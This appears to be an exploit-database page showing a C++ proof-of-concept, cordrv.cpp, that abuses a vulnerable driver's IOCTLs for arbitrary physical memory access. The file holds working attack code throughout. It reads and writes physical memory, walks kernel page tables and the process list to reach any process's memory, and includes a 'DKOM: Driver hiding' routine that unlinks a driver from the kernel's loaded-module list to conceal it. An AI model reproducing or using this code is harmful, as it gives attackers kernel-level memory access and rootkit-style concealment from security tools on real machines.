5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cordrv.cpp CPP
#include "CorDrv.hpp"
#include <cstring>
#include <cstdio>
#include <cstdlib>
#include <psapi.h>
#include "tlb_cache.hpp"
#pragma comment(lib, "psapi.lib")

CorDrv::~CorDrv() { Close(); }

CorDrv::CorDrv(CorDrv&& Other) noexcept
    : m_Device(Other.m_Device), m_PoolBlockCount(Other.m_PoolBlockCount), m_SystemDTB(Other.m_SystemDTB) {
    memcpy(m_PoolBlocks, Other.m_PoolBlocks, sizeof(m_PoolBlocks));
    Other.m_Device = INVALID_HANDLE_VALUE;
    Other.m_PoolBlockCount = 0;
    Other.m_SystemDTB = 0;
}

CorDrv& CorDrv::operator=(CorDrv&& Other) noexcept {
    if (this != &Other) {
        Close();
        m_Device = Other.m_Device;
        m_PoolBlockCount = Other.m_PoolBlockCount;
        m_SystemDTB = Other.m_SystemDTB;
        memcpy(m_PoolBlocks, Other.m_PoolBlocks, sizeof(m_PoolBlocks));
        Other.m_Device = INVALID_HANDLE_VALUE;
        Other.m_PoolBlockCount = 0;
        Other.m_SystemDTB = 0;
    }
    return *this;
}

bool CorDrv::Initialize() {
    if (IsValid()) return true;
    m_Device = CreateFileA(CORMEM_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, nullptr,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, nullptr);
    if (!IsValid()) return false;
    if (!GetPoolBlockCount(&m_PoolBlockCount) || m_PoolBlockCount > CORMEM_MAX_POOL_BLOCKS) { Close(); return false; }
    for (uint32_t i = 0; i < m_PoolBlockCount; i++) { if (!MapPoolBlock(i)) { Close(); return false; } }
    return true;
}

void CorDrv::Close() {
    RestoreDriver();
    if (IsValid()) { CloseHandle(m_Device); m_Device = INVALID_HANDLE_VALUE; }
    m_PoolBlockCount = 0; m_SystemDTB = 0;
    memset(m_PoolBlocks, 0, sizeof(m_PoolBlocks));
}

bool CorDrv::SendIoctl(DWORD IoControlCode, void* InBuffer, DWORD InSize,
    void* OutBuffer, DWORD OutSize, DWORD* BytesReturned) {
    DWORD br = 0;
    BOOL r = DeviceIoControl(m_Device, IoControlCode, InBuffer, InSize, OutBuffer, OutSize, &br, nullptr);
    if (BytesReturned) *BytesReturned = br;
    return r != FALSE;
}

bool CorDrv::MapPoolBlock(uint32_t Index) {
    uint32_t input = Index;
    CORMEM_MAP_POOL_OUT output = {};
    DWORD br = 0;
    if (!SendIoctl(IOCTL_CORMEM_MAP_POOL, &input, sizeof(input), &output, sizeof(output), &br) || br == 0)
        return false;
    m_PoolBlocks[Index] = { output.UserAddress, output.KernelAddress, output.PhysicalAddress, output.Size };
    return true;
}

bool CorDrv::GetPoolBlockCount(uint32_t* Count) {
    uint32_t output = 0; DWORD br = 0;
    if (!SendIoctl(IOCTL_CORMEM_GET_POOL_BLOCK_COUNT, nullptr, 0, &output, sizeof(output), &br) || br == 0)
        return false;
    *Count = output; return true;
}

uint64_t CorDrv::MapPhysicalMemory(uint64_t PhysicalAddress) {
    uint64_t in = PhysicalAddress, out = 0; DWORD br = 0;
    if (!SendIoctl(IOCTL_CORMEM_MAP_PHYS_MEMORY, &in, sizeof(in), &out, sizeof(out), &br)) return 0;
    return br > 0 ? out : 0;
}

bool CorDrv::UnmapPhysicalMemory(uint64_t MappedAddress, uint64_t PhysicalAddress) {
    CORMEM_UNMAP_PHYS_IN in = { MappedAddress, PhysicalAddress };
    return SendIoctl(IOCTL_CORMEM_UNMAP_PHYS_MEMORY, &in, sizeof(in), nullptr, 0);
}

uint64_t CorDrv::LinearToPhys(uint64_t VirtualAddress) {
    uint64_t in = VirtualAddress, out = 0;
    SendIoctl(IOCTL_CORMEM_LINEAR_TO_PHYS, &in, sizeof(in), &out, sizeof(out));
    return out;
}

bool CorDrv::ReadIo(uint32_t Width, uint64_t Address, uint32_t* OutValue) {
    CORMEM_READ_IO_IN in = { Width, Address };
    uint32_t out = 0; DWORD br = 0;
    if (!SendIoctl(IOCTL_CORMEM_READ_IO, &in, sizeof(in), &out, sizeof(out), &br) || br == 0) return false;
    *OutValue = out; return true;
}

bool CorDrv::WriteIo(uint32_t Width, uint64_t Address, uint32_t Value) {
    CORMEM_WRITE_IO_IN in = { Width, Address, Value };
    return SendIoctl(IOCTL_CORMEM_WRITE_IO, &in, sizeof(in), nullptr, 0);
}

bool CorDrv::AllocBuffer(uint64_t Size, uint32_t Alignment, uint32_t Flags,
    uint64_t* PhysAddress, uint64_t* UserAddress) {
    CORMEM_ALLOC_BUFFER_IN in = { Size, Alignment, Flags };
    CORMEM_ALLOC_BUFFER_OUT out = {}; DWORD br = 0;
    if (!SendIoctl(IOCTL_CORMEM_ALLOC_BUFFER, &in, sizeof(in), &out, sizeof(out), &br) || br == 0) return false;
    *PhysAddress = out.PhysicalAddress;
    *UserAddress = MapPhysToUser(out.PhysicalAddress);
    return true;
}

bool CorDrv::FreeBuffer(uint64_t UserAddress) {
    uint64_t pa = MapUserToPhys(UserAddress);
    if (!pa) return false;
    return SendIoctl(IOCTL_CORMEM_FREE_BUFFER, &pa, sizeof(pa), nullptr, 0);
}

uint64_t CorDrv::MapBuffer(uint64_t Address, uint64_t Size, uint64_t Param) {
    CORMEM_MAP_BUFFER_IN in = { Address, Size, Param };
    uint64_t out = 0;
    SendIoctl(IOCTL_CORMEM_MAP_BUFFER, &in, sizeof(in), &out, sizeof(out));
    return out;
}

bool CorDrv::UnmapBuffer(uint64_t MappedAddress, uint64_t Size) {
    CORMEM_UNMAP_BUFFER_IN in = { MappedAddress, Size };
    return SendIoctl(IOCTL_CORMEM_UNMAP_BUFFER, &in, sizeof(in), nullptr, 0);
}

bool CorDrv::AllocPhysMemory(uint64_t P0, uint64_t P1, uint64_t P2, uint64_t P3,
    uint64_t* OutPhys, uint64_t* OutParam) {
    CORMEM_ALLOC_PHYS_IN in = { P0, P1, P2, P3 };
    CORMEM_ALLOC_PHYS_OUT out = {}; DWORD br = 0;
    if (!SendIoctl(IOCTL_CORMEM_ALLOC_PHYS_MEMORY, &in, sizeof(in), &out, sizeof(out), &br) || br == 0) return false;
    *OutPhys = out.PhysicalAddress; *OutParam = out.Param1; return true;
}

bool CorDrv::FreePhysMemory(uint64_t PhysAddress) {
    return SendIoctl(IOCTL_CORMEM_FREE_PHYS_MEMORY, &PhysAddress, sizeof(PhysAddress), nullptr, 0);
}

uint64_t CorDrv::MapPhysToUser(uint64_t PA) const {
    for (uint32_t i = 0; i < m_PoolBlockCount; i++) { auto& b = m_PoolBlocks[i]; if (PA >= b.PhysicalAddress && PA < b.PhysicalAddress + b.Size) return b.UserAddress + (PA - b.PhysicalAddress); } return 0;
}
uint64_t CorDrv::MapPhysToKernel(uint64_t PA) const {
    for (uint32_t i = 0; i < m_PoolBlockCount; i++) { auto& b = m_PoolBlocks[i]; if (PA >= b.PhysicalAddress && PA < b.PhysicalAddress + b.Size) return b.KernelAddress + (PA - b.PhysicalAddress); } return 0;
}
uint64_t CorDrv::MapUserToPhys(uint64_t UA) const {
    for (uint32_t i = 0; i < m_PoolBlockCount; i++) { auto& b = m_PoolBlocks[i]; if (UA >= b.UserAddress && UA < b.UserAddress + b.Size) return b.PhysicalAddress + (UA - b.UserAddress); } return 0;
}
uint64_t CorDrv::MapKernelToPhys(uint64_t KA) const {
    for (uint32_t i = 0; i < m_PoolBlockCount; i++) { auto& b = m_PoolBlocks[i]; if (KA >= b.KernelAddress && KA < b.KernelAddress + b.Size) return b.PhysicalAddress + (KA - b.KernelAddress); } return 0;
}
uint64_t CorDrv::MapKernelToUser(uint64_t KA) const {
    for (uint32_t i = 0; i < m_PoolBlockCount; i++) { auto& b = m_PoolBlocks[i]; if (KA >= b.KernelAddress && KA < b.KernelAddress + b.Size) return b.UserAddress + (KA - b.KernelAddress); } return 0;
}
uint64_t CorDrv::MapUserToKernel(uint64_t UA) const {
    for (uint32_t i = 0; i < m_PoolBlockCount; i++) { auto& b = m_PoolBlocks[i]; if (UA >= b.UserAddress && UA < b.UserAddress + b.Size) return b.KernelAddress + (UA - b.UserAddress); } return 0;
}

bool CorDrv::ReadPhysicalMemory(uint64_t PhysicalAddress, void* Buffer, size_t Size) {
    uint64_t mapped = MapBuffer(PhysicalAddress, Size, 1); // 1 = MmCached
    if (!mapped) return false;
    memcpy(Buffer, reinterpret_cast<void*>(mapped), Size);
    UnmapBuffer(mapped, Size);
    return true;
}

bool CorDrv::WritePhysicalMemory(uint64_t PhysicalAddress, const void* Buffer, size_t Size) {
    uint64_t mapped = MapBuffer(PhysicalAddress, Size, 1); // 1 = MmCached
    if (!mapped) return false;
    memcpy(reinterpret_cast<void*>(mapped), Buffer, Size);
    UnmapBuffer(mapped, Size);
    return true;
}

bool CorDrv::TryFindDTBFromLowStub(uint8_t* LowStub1M, uint64_t& OutDTB, uint64_t& OutKernelEntry) {
    for (uint32_t offset = 0x1000; offset < 0x100000; offset += 0x1000) {
        uint64_t sig = *reinterpret_cast<uint64_t*>(LowStub1M + offset);
        if ((sig & PSB_SIGNATURE_MASK) != PSB_SIGNATURE_VALUE)
            continue;

        uint64_t kernelEntry = *reinterpret_cast<uint64_t*>(LowStub1M + offset + PSB_KERNEL_ENTRY_OFFSET);
        if ((kernelEntry & KERNEL_VA_MASK) != KERNEL_VA_EXPECTED)
            continue;

        uint64_t pml4 = *reinterpret_cast<uint64_t*>(LowStub1M + offset + PSB_PML4_OFFSET);
        if (pml4 & PML4_INVALID_BITS_MASK)
            continue;
        if (pml4 == 0 || pml4 > 0x100000000ULL)
            continue;

        OutDTB = pml4;
        OutKernelEntry = kernelEntry;
        return true;
    }
    return false;
}

bool CorDrv::ValidatePML4Page(uint64_t DTB, uint64_t MaxPhysAddr) {
    uint64_t pml4Page[512] = {};
    if (!ReadPhysicalMemory(DTB, pml4Page, sizeof(pml4Page)))
        return false;
    uint32_t validEntries = 0, kernelEntries = 0;
    for (int i = 0; i < 512; i++) {
        uint64_t entry = pml4Page[i];
        if (!(entry & PAGE_PRESENT)) continue;
        uint64_t pfn = entry & 0x000FFFFFFFFFF000ULL;
        if (pfn >= MaxPhysAddr) return false;
        validEntries++;
        if (i >= 256) kernelEntries++;
    }
    return validEntries > 0 && kernelEntries > 0;
}

uint64_t CorDrv::FindSystemDTB() {
    uint8_t* lowStub = new uint8_t[0x100000];
    if (!lowStub) return 0;
    for (uint32_t offset = 0; offset < 0x100000; offset += 0x1000) {
        if (!ReadPhysicalMemory(offset, lowStub + offset, 0x1000))
            memset(lowStub + offset, 0, 0x1000);
    }
    uint64_t dtb = 0, kernelEntry = 0;
    if (TryFindDTBFromLowStub(lowStub, dtb, kernelEntry)) {
        delete[] lowStub;
        if (ValidatePML4Page(dtb, 0x8000000000ULL)) {
            m_SystemDTB = dtb;
            m_KernelEntryVA = kernelEntry;
            return dtb;
        }
        printf("dtb validation failed.\n");
    }
    else {
        delete[] lowStub;
    }
    return 0;
}

uint64_t CorDrv::FindNtoskrnlBaseViaPhys() {
    if (!m_KernelEntryVA || !m_SystemDTB)
        return 0;

    uint64_t base = m_KernelEntryVA & ~0xFFFULL;
    for (uint32_t i = 0; i < 0x800; i++, base -= 0x1000) {
        uint16_t magic = 0;
        if (!ReadProcessMemory(m_SystemDTB, base, &magic, sizeof(magic)))
            continue;
        if (magic != IMAGE_DOS_SIGNATURE)
            continue;

        // Validate PE signature
        uint32_t peOffset = 0;
        if (!ReadProcessMemory(m_SystemDTB, base + 0x3C, &peOffset, sizeof(peOffset)))
            continue;
        if (peOffset == 0 || peOffset > 0x1000)
            continue;

        uint32_t peSig = 0;
        if (!ReadProcessMemory(m_SystemDTB, base + peOffset, &peSig, sizeof(peSig)))
            continue;
        if (peSig != IMAGE_NT_SIGNATURE)
            continue;

        uint32_t sizeOfImage = 0;
        ReadProcessMemory(m_SystemDTB, base + peOffset + 0x18 + 0x38, &sizeOfImage, 4);

        if (sizeOfImage < 0x100000)
            continue;

        if (m_KernelEntryVA < base || m_KernelEntryVA >= base + sizeOfImage)
            continue;

        return base;
    }
    return 0;
}

uint64_t CorDrv::ResolveKernelExportViaPhys(uint64_t NtBaseVA, const char* ExportName) {
    if (!NtBaseVA || !m_SystemDTB)
        return 0;

    uint32_t peOffset = 0;
    if (!ReadProcessMemory(m_SystemDTB, NtBaseVA + 0x3C, &peOffset, sizeof(peOffset)))
        return 0;

    uint64_t exportDirEntryVA = NtBaseVA + peOffset + 0x18 + 0x70;
    uint32_t exportRVA = 0, exportSize = 0;
    if (!ReadProcessMemory(m_SystemDTB, exportDirEntryVA, &exportRVA, 4)) return 0;
    if (!ReadProcessMemory(m_SystemDTB, exportDirEntryVA + 4, &exportSize, 4)) return 0;
    if (!exportRVA || !exportSize) return 0;

    uint64_t expDirVA = NtBaseVA + exportRVA;
    uint32_t numberOfNames = 0, addrFunctions = 0, addrNames = 0, addrOrdinals = 0;
    ReadProcessMemory(m_SystemDTB, expDirVA + 0x18, &numberOfNames, 4);
    ReadProcessMemory(m_SystemDTB, expDirVA + 0x1C, &addrFunctions, 4);
    ReadProcessMemory(m_SystemDTB, expDirVA + 0x20, &addrNames, 4);
    ReadProcessMemory(m_SystemDTB, expDirVA + 0x24, &addrOrdinals, 4);

    if (!numberOfNames || !addrFunctions || !addrNames || !addrOrdinals)
        return 0;

    for (uint32_t i = 0; i < numberOfNames; i++) {
        uint32_t nameRVA = 0;
        uint64_t nameEntryVA = NtBaseVA + addrNames + (uint64_t)i * 4;
        if (!ReadProcessMemory(m_SystemDTB, nameEntryVA, &nameRVA, 4)) continue;

        char symName[64] = {};
        if (!ReadProcessMemory(m_SystemDTB, NtBaseVA + nameRVA, symName, sizeof(symName) - 1))
            continue;

        if (strcmp(symName, ExportName) == 0) {
            uint16_t ordinal = 0;
            uint64_t ordEntryVA = NtBaseVA + addrOrdinals + (uint64_t)i * 2;
            if (!ReadProcessMemory(m_SystemDTB, ordEntryVA, &ordinal, 2)) return 0;

            uint32_t funcRVA = 0;
            uint64_t funcEntryVA = NtBaseVA + addrFunctions + (uint64_t)ordinal * 4;
            if (!ReadProcessMemory(m_SystemDTB, funcEntryVA, &funcRVA, 4)) return 0;

            return NtBaseVA + funcRVA;
        }
    }
    return 0;
}

uint64_t CorDrv::GetSystemEprocessVA() {
    if (!m_KernelEntryVA || !m_SystemDTB)
        return 0;

    uint64_t ntBase = FindNtoskrnlBaseViaPhys();
    if (!ntBase) return 0;

    uint64_t ptrVA = ResolveKernelExportViaPhys(ntBase, "PsInitialSystemProcess");
    if (!ptrVA) return 0;

    uint64_t ptrPhys = TranslateVirtualAddress(m_SystemDTB, ptrVA);
    if (!ptrPhys) return 0;

    uint64_t eproc = 0;
    if (!ReadPhysicalMemory(ptrPhys, &eproc, sizeof(eproc)) || !eproc)
        return 0;

    uint64_t vPhys = TranslateVirtualAddress(m_SystemDTB, eproc);
    if (!vPhys) return 0;

    uint64_t pid = 0;
    ReadPhysicalMemory(vPhys + EProcess::UniqueProcessId, &pid, sizeof(pid));
    return (pid == 4) ? eproc : 0;
}

uint64_t CorDrv::TranslateVirtualAddress(uint64_t DTB, uint64_t VirtualAddress) {
    uint64_t pml4Idx = (VirtualAddress >> 39) & 0x1FF;
    uint64_t pdptIdx = (VirtualAddress >> 30) & 0x1FF;
    uint64_t pdIdx = (VirtualAddress >> 21) & 0x1FF;
    uint64_t ptIdx = (VirtualAddress >> 12) & 0x1FF;
    uint64_t offset = VirtualAddress & 0xFFF;

    uint64_t pml4e = 0;
    if (!ReadPhysicalMemory((DTB & ~0xFFFULL) + pml4Idx * 8, &pml4e, 8) || !(pml4e & PAGE_PRESENT))
        return 0;

    uint64_t pdpte = 0;
    if (!ReadPhysicalMemory((pml4e & 0x000FFFFFFFFFF000ULL) + pdptIdx * 8, &pdpte, 8) || !(pdpte & PAGE_PRESENT))
        return 0;
    if (pdpte & PAGE_LARGE)
        return (pdpte & 0x000FFFFFC0000000ULL) + (VirtualAddress & (PAGE_1GB - 1));

    uint64_t pde = 0;
    if (!ReadPhysicalMemory((pdpte & 0x000FFFFFFFFFF000ULL) + pdIdx * 8, &pde, 8) || !(pde & PAGE_PRESENT))
        return 0;
    if (pde & PAGE_LARGE)
        return (pde & 0x000FFFFFFFE00000ULL) + (VirtualAddress & (PAGE_2MB - 1));

    uint64_t pte = 0;
    if (!ReadPhysicalMemory((pde & 0x000FFFFFFFFFF000ULL) + ptIdx * 8, &pte, 8) || !(pte & PAGE_PRESENT))
        return 0;

    return (pte & 0x000FFFFFFFFFF000ULL) + offset;
}

uint64_t CorDrv::FindProcessDTB(DWORD Pid) {
    if (m_SystemDTB == 0 && FindSystemDTB() == 0)
        return 0;

    uint64_t systemEprocessVA = GetSystemEprocessVA();
    if (!systemEprocessVA)
        return 0;

    uint64_t listHeadVA = systemEprocessVA + EProcess::ActiveProcessLinks;
    uint64_t listHeadPhys = TranslateVirtualAddress(m_SystemDTB, listHeadVA);
    if (!listHeadPhys)
        return 0;

    uint64_t firstFlink = 0;
    if (!ReadPhysicalMemory(listHeadPhys, &firstFlink, sizeof(firstFlink)) || firstFlink == 0)
        return 0;

    uint64_t currentFlink = firstFlink;
    uint32_t count = 0;

    do {
        uint64_t eprocessVA = currentFlink - EProcess::ActiveProcessLinks;
        uint64_t eprocessPhys = TranslateVirtualAddress(m_SystemDTB, eprocessVA);
        if (eprocessPhys == 0) break;

        uint64_t currentPid = 0;
        if (!ReadPhysicalMemory(eprocessPhys + EProcess::UniqueProcessId, &currentPid, sizeof(currentPid)))
            break;

        if (currentPid == Pid) {
            uint64_t processDTB = 0;
            if (ReadPhysicalMemory(eprocessPhys + EProcess::DirectoryTableBase, &processDTB, sizeof(processDTB)))
                return processDTB;
            break;
        }

        uint64_t flinkPhys = TranslateVirtualAddress(m_SystemDTB, currentFlink);
        if (flinkPhys == 0) break;

        uint64_t nextFlink = 0;
        if (!ReadPhysicalMemory(flinkPhys, &nextFlink, sizeof(nextFlink)))
            break;

        if (nextFlink == listHeadVA || nextFlink == 0)
            break;
        currentFlink = nextFlink;
        count++;
    } while (count < 4096);

    return 0;
}

bool CorDrv::ReadProcessMemory(uint64_t DTB, uint64_t VirtualAddress, void* Buffer, size_t Size) {
    uint8_t* dst = static_cast<uint8_t*>(Buffer);
    size_t remaining = Size;
    uint64_t va = VirtualAddress;
    while (remaining > 0) {
        uint64_t pageVa = va & ~0xFFFULL;
        bool found = false;
        uint64_t physPage = g_Cache.Lookup(DTB, pageVa, found);
        
        if (!found) {
            uint64_t phys = TranslateVirtualAddress(DTB, va);
            physPage = phys ? (phys & ~0xFFFULL) : 0;
            g_Cache.Insert(DTB, pageVa, physPage);
        }
        
        if (physPage == 0) return false;
        
        uint64_t targetPhys = physPage + (va & 0xFFF);
        size_t chunk = min(remaining, (size_t)(PAGE_4KB - (va & 0xFFF)));
        if (!ReadPhysicalMemory(targetPhys, dst, chunk)) return false;
        dst += chunk; va += chunk; remaining -= chunk;
    }
    return true;
}

bool CorDrv::WriteProcessMemory(uint64_t DTB, uint64_t VirtualAddress, const void* Buffer, size_t Size) {
    const uint8_t* src = static_cast<const uint8_t*>(Buffer);
    size_t remaining = Size;
    uint64_t va = VirtualAddress;
    while (remaining > 0) {
        uint64_t pageVa = va & ~0xFFFULL;
        bool found = false;
        uint64_t physPage = g_Cache.Lookup(DTB, pageVa, found);
        
        if (!found) {
            uint64_t phys = TranslateVirtualAddress(DTB, va);
            physPage = phys ? (phys & ~0xFFFULL) : 0;
            g_Cache.Insert(DTB, pageVa, physPage);
        }
        
        if (physPage == 0) return false;
        
        uint64_t targetPhys = physPage + (va & 0xFFF);
        size_t chunk = min(remaining, (size_t)(PAGE_4KB - (va & 0xFFF)));
        if (!WritePhysicalMemory(targetPhys, src, chunk)) return false;
        src += chunk; va += chunk; remaining -= chunk;
    }
    return true;
}

// DKOM: Driver hiding 

static uint32_t PeRvaToFileOffset(IMAGE_NT_HEADERS64* nt, uint32_t rva) {
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (rva >= sec->VirtualAddress && rva < sec->VirtualAddress + sec->Misc.VirtualSize)
            return sec->PointerToRawData + (rva - sec->VirtualAddress);
    }
    return rva;
}

uint64_t CorDrv::GetNtoskrnlBase(char* OutName, size_t NameSize) {
    LPVOID drivers[1024] = {};
    DWORD cbNeeded = 0;
    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) return 0;
    DWORD count = cbNeeded / sizeof(LPVOID);
    for (DWORD i = 0; i < count; i++) {
        char name[MAX_PATH] = {};
        if (!GetDeviceDriverBaseNameA(drivers[i], name, MAX_PATH)) continue;
        if (_stricmp(name, "ntoskrnl.exe") == 0 || _stricmp(name, "ntkrnlmp.exe") == 0 ||
            _stricmp(name, "ntkrnlpa.exe") == 0 || _stricmp(name, "ntkrpamp.exe") == 0) {
            if (OutName && NameSize > 0) strncpy_s(OutName, NameSize, name, _TRUNCATE);
            return reinterpret_cast<uint64_t>(drivers[i]);
        }
    }
    return 0;
}

uint64_t CorDrv::ResolvePsLoadedModuleList(uint64_t NtBase, const char* NtName) {
    char sysDir[MAX_PATH] = {};
    GetSystemDirectoryA(sysDir, MAX_PATH);
    char fullPath[MAX_PATH] = {};
    snprintf(fullPath, MAX_PATH, "%s\\%s", sysDir, NtName);

    HANDLE hFile = CreateFileA(fullPath, GENERIC_READ, FILE_SHARE_READ, nullptr,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) return 0;

    DWORD fileSize = GetFileSize(hFile, nullptr);
    if (fileSize == INVALID_FILE_SIZE || fileSize == 0) { CloseHandle(hFile); return 0; }

    uint8_t* data = new uint8_t[fileSize];
    DWORD bytesRead = 0;
    if (!ReadFile(hFile, data, fileSize, &bytesRead, nullptr) || bytesRead != fileSize) {
        CloseHandle(hFile); delete[] data; return 0;
    }
    CloseHandle(hFile);

    auto* dos = reinterpret_cast<IMAGE_DOS_HEADER*>(data);
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) { delete[] data; return 0; }
    auto* nt = reinterpret_cast<IMAGE_NT_HEADERS64*>(data + dos->e_lfanew);
    if (nt->Signature != IMAGE_NT_SIGNATURE) { delete[] data; return 0; }

    auto& expDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (!expDir.VirtualAddress || !expDir.Size) { delete[] data; return 0; }

    auto* exp     = reinterpret_cast<IMAGE_EXPORT_DIRECTORY*>(data + PeRvaToFileOffset(nt, expDir.VirtualAddress));
    auto* names   = reinterpret_cast<uint32_t*>(data + PeRvaToFileOffset(nt, exp->AddressOfNames));
    auto* ords    = reinterpret_cast<uint16_t*>(data + PeRvaToFileOffset(nt, exp->AddressOfNameOrdinals));
    auto* funcs   = reinterpret_cast<uint32_t*>(data + PeRvaToFileOffset(nt, exp->AddressOfFunctions));

    uint64_t result = 0;
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char* sym = reinterpret_cast<const char*>(data + PeRvaToFileOffset(nt, names[i]));
        if (strcmp(sym, "PsLoadedModuleList") == 0) {
            result = NtBase + funcs[ords[i]];
            break;
        }
    }
    delete[] data;
    return result;
}


bool CorDrv::HideDriver(const wchar_t* DriverBaseName) {
    if (m_SystemDTB == 0) return false;

    char ntName[MAX_PATH] = {};
    uint64_t ntBase = GetNtoskrnlBase(ntName, sizeof(ntName));
    if (!ntBase) return false;

    uint64_t listHeadVA = ResolvePsLoadedModuleList(ntBase, ntName);
    if (!listHeadVA) return false;

    uint64_t listHeadPhys = TranslateVirtualAddress(m_SystemDTB, listHeadVA);
    if (!listHeadPhys) return false;

    uint64_t currentEntryVA = 0;
    if (!ReadPhysicalMemory(listHeadPhys, &currentEntryVA, sizeof(currentEntryVA))) return false;

    for (uint32_t iterations = 0; currentEntryVA != listHeadVA && iterations < 512; iterations++) {
        uint64_t entryPhys = TranslateVirtualAddress(m_SystemDTB, currentEntryVA);
        if (!entryPhys) break;

        uint16_t nameLen  = 0;
        uint64_t nameBufVA = 0;
        ReadPhysicalMemory(entryPhys + LdrEntry::BaseDllNameLength, &nameLen,  sizeof(nameLen));
        ReadPhysicalMemory(entryPhys + LdrEntry::BaseDllNameBuffer, &nameBufVA, sizeof(nameBufVA));

        bool found = false;
        if (nameLen > 0 && nameLen <= 256 && nameBufVA != 0) {
            wchar_t nameBuf[128] = {};
            uint64_t nameBufPhys = TranslateVirtualAddress(m_SystemDTB, nameBufVA);
            if (nameBufPhys) {
                ReadPhysicalMemory(nameBufPhys, nameBuf, nameLen);
                found = (_wcsicmp(nameBuf, DriverBaseName) == 0);
            }
        }

        if (found) {
            uint64_t entryFlink = 0, entryBlink = 0;
            ReadPhysicalMemory(entryPhys + LdrEntry::InLoadOrderFlink, &entryFlink, sizeof(entryFlink));
            ReadPhysicalMemory(entryPhys + LdrEntry::InLoadOrderBlink, &entryBlink, sizeof(entryBlink));
            if (!entryFlink || !entryBlink) return false;

            m_HiddenEntryVA = currentEntryVA;
            m_HiddenEntryFlink = entryFlink;
            m_HiddenEntryBlink = entryBlink;

            uint64_t prevPhys = TranslateVirtualAddress(m_SystemDTB, entryBlink);
            if (!prevPhys) return false;
            WritePhysicalMemory(prevPhys + LdrEntry::InLoadOrderFlink, &entryFlink, sizeof(entryFlink));

            uint64_t nextPhys = TranslateVirtualAddress(m_SystemDTB, entryFlink);
            if (!nextPhys) return false;
            WritePhysicalMemory(nextPhys + LdrEntry::InLoadOrderBlink, &entryBlink, sizeof(entryBlink));

            return true;
        }

        uint64_t nextFlink = 0;
        ReadPhysicalMemory(entryPhys + LdrEntry::InLoadOrderFlink, &nextFlink, sizeof(nextFlink));
        if (!nextFlink || nextFlink == currentEntryVA) break;
        currentEntryVA = nextFlink;
    }
    return false;
}

bool CorDrv::RestoreDriver() {
    if (!m_SystemDTB || !m_HiddenEntryVA || !m_HiddenEntryFlink || !m_HiddenEntryBlink)
        return false;

    uint64_t prevPhys = TranslateVirtualAddress(m_SystemDTB, m_HiddenEntryBlink);
    if (prevPhys) {
        WritePhysicalMemory(prevPhys + LdrEntry::InLoadOrderFlink, &m_HiddenEntryVA, sizeof(m_HiddenEntryVA));
    }

    uint64_t nextPhys = TranslateVirtualAddress(m_SystemDTB, m_HiddenEntryFlink);
    if (nextPhys) {
        WritePhysicalMemory(nextPhys + LdrEntry::InLoadOrderBlink, &m_HiddenEntryVA, sizeof(m_HiddenEntryVA));
    }

    m_HiddenEntryVA = 0;
    m_HiddenEntryFlink = 0;
    m_HiddenEntryBlink = 0;

    return true;
}